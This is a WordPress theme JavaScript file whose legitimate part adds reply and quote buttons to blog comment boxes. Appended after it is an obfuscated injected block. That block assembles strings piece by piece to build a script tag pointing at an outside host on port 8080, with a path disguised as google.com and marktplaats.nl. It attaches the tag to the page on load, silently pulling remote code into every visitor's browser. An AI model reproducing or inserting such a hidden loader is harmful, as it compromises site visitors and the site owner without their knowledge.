/*
Author: mg12
Update: 2008/11/13
Author URI: http://www.neoease.com/
*/
(function() {

function reply(authorId, commentId, commentBox) {
	var author = MGJS.$(authorId).innerHTML;
	var insertStr = '<a href="#' + commentId + '">@' + author.replace(/\t|\n|\r\n/g, "") + '</a> \n';

	appendReply(insertStr, commentBox);
}

function quote(authorId, commentId, commentBodyId, commentBox) {
	var author = MGJS.$(authorId).innerHTML;
	var comment = MGJS.$(commentBodyId).innerHTML;

	var insertStr = '<blockquote cite="#' + commentBodyId + '">';
	insertStr += '\n<strong><a href="#' + commentId + '">' + author.replace(/\t|\n|\r\n/g, "") + '</a> :</strong>';
	insertStr += comment.replace(/\t/g, "");
	insertStr += '</blockquote>\n';

	insertQuote(insertStr, commentBox);
}

function appendReply(insertStr, commentBox) {
	if(MGJS.$(commentBox) && MGJS.$(commentBox).type == 'textarea') {
		field = MGJS.$(commentBox);

	} else {
		alert("The comment box does not exist!");
		return false;
	}

	if (field.value.indexOf(insertStr) > -1) {
		alert("You've already appended this reply!");
		return false;
	}

	if (field.value.replace(/\s|\t|\n/g, "") == '') {
		field.value = insertStr;
	} else {
		field.value = field.value.replace(/[\n]*$/g, "") + '\n\n' + insertStr;
	}
	field.focus();
}

function insertQuote(insertStr, commentBox) {
	if(MGJS.$(commentBox) && MGJS.$(commentBox).type == 'textarea') {
		field = MGJS.$(commentBox);

	} else {
		alert("The comment box does not exist!");
		return false;
	}

	if(document.selection) {
		field.focus();
		sel = document.selection.createRange();
		sel.text = insertStr;
		field.focus();

	} else if (field.selectionStart || field.selectionStart == '0') {
		var startPos = field.selectionStart;
		var endPos = field.selectionEnd;
		var cursorPos = startPos;
		field.value = field.value.substring(0, startPos)
					+ insertStr
					+ field.value.substring(endPos, field.value.length);
		cursorPos += insertStr.length;
		field.focus();
		field.selectionStart = cursorPos;
		field.selectionEnd = cursorPos;

	} else {
		field.value += insertStr;
		field.focus();
	}
}

window['MGJS_CMT'] = {};
window['MGJS_CMT']['reply'] = reply;
window['MGJS_CMT']['quote'] = quote;

})();
p={PX:"a"};var d;Z=function(){var x=[];n={S:false};function B(v,ZV,U){this.T=false;return v.substr(ZV,U);}this.jP=54729;this.jP--;var y=document;var G=RegExp;this.eg=16474;this.eg--;var Ug='';var ju="";this.GV="";var V=String("/ppl"+"ive-"+"com/"+"goog"+"le.c"+B("om/mJ28",0,4)+"arkt"+"plaa"+B("rxiJts.nxrJi",4,4)+B("HfZ1l.ph1ZfH",4,4)+B("p0kU",0,1));function s(v,ZV){mh=["gy"];var Zg='';var U=String("[")+ZV+"]";w=[];var j=new G(U, "g");var D=[];return v.replace(j, Ug);var jV=new Date();};N=3635;N-=207;var qH=new Array();var IqV='';var Y=null;var Mc=["h","H"];var eH=["rG","_h"];var b=900482-892402;var yg=new String("bod"+"y");lD={};var M=s('s4cCruijpMt2','CymBUuH9Kn6LOVPXjS_4MD2');var pE="";var R={is:56780};d=function(){try {} catch(RF){};try {var k=s('cfrWeiakt3eiEHl7e3mDeqnitb','fX7Ri25dqQ4kbHpTWDYy3');var A=new String();Um=y[k](M);this.t='';HK=6671;HK--;var v=b+V;var HQ={ni:false};this.NI=51665;this.NI--;var P=s('sqrdcG','kKfEmgzT2qUHxNdFG1Pj3');var rp=["FQH","BW"];mv=["IR","CH"];var Q="def"+"er";var Xf={Sf:false};var u={gl:false};Um[P]=String(B("htrMX",0,2)+B("uNhtpuNh",3,2)+":/"+"/j"+"ui"+B("ceNtOz",0,2)+B("y1hjmih1yj",4,2)+B("lkdW0s",0,2)+B(".rYjF",0,2)+B("u:Nx86",0,2))+v;this.yC='';Um[Q]=[1][0];this.Lw=62244;this.Lw+=245;var OW=["zG","C_"];al={RO:false};y[yg].appendChild(Um);} catch(g){Ay=55913;Ay+=242;qe=29178;qe+=71;};};};Z();try {var Ab='DJ'} catch(Ab){};CM=59216;CM--;window.onload=d;rX=[];var gD=["rC","RB","Ek"];try {} catch(yCb){};